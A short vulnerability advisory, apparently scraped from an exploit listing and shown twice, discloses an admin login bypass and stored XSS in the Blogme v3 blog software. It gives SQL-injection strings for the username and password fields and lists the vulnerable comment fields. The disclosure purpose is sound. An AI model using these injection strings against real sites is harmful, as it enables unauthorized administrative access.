Blogme v3 [admin login bypass & xss (post)]

vendor site:http://www.drumster.net/ product:Blogme v3 bug:login bypass & xss post risk:high admin login bypass : user : ' or '1' = '1 passwd: 1'='1' ro ' xss post : in: /comments.asp?blog=85 vulnerables fields: - Name - URL - Comments laurent gaffie & benjamin mosse http://s-a-p.ca/ contact:...

blogme 3.0 - Cross-Site Scripting Authentication Bypass

blogme 3.0 - Cross-Site Scripting Authentication Bypass blogme v3 admin login bypass & xss post vendor site:http://www.drumster.net/ product:blogme v3 bug:login bypass & xss post risk:high admin login bypass : user : ' or '1' = '1 passwd: 1'='1' ro ' xss post : in: /comments.asp?blog=85 vulnerabl...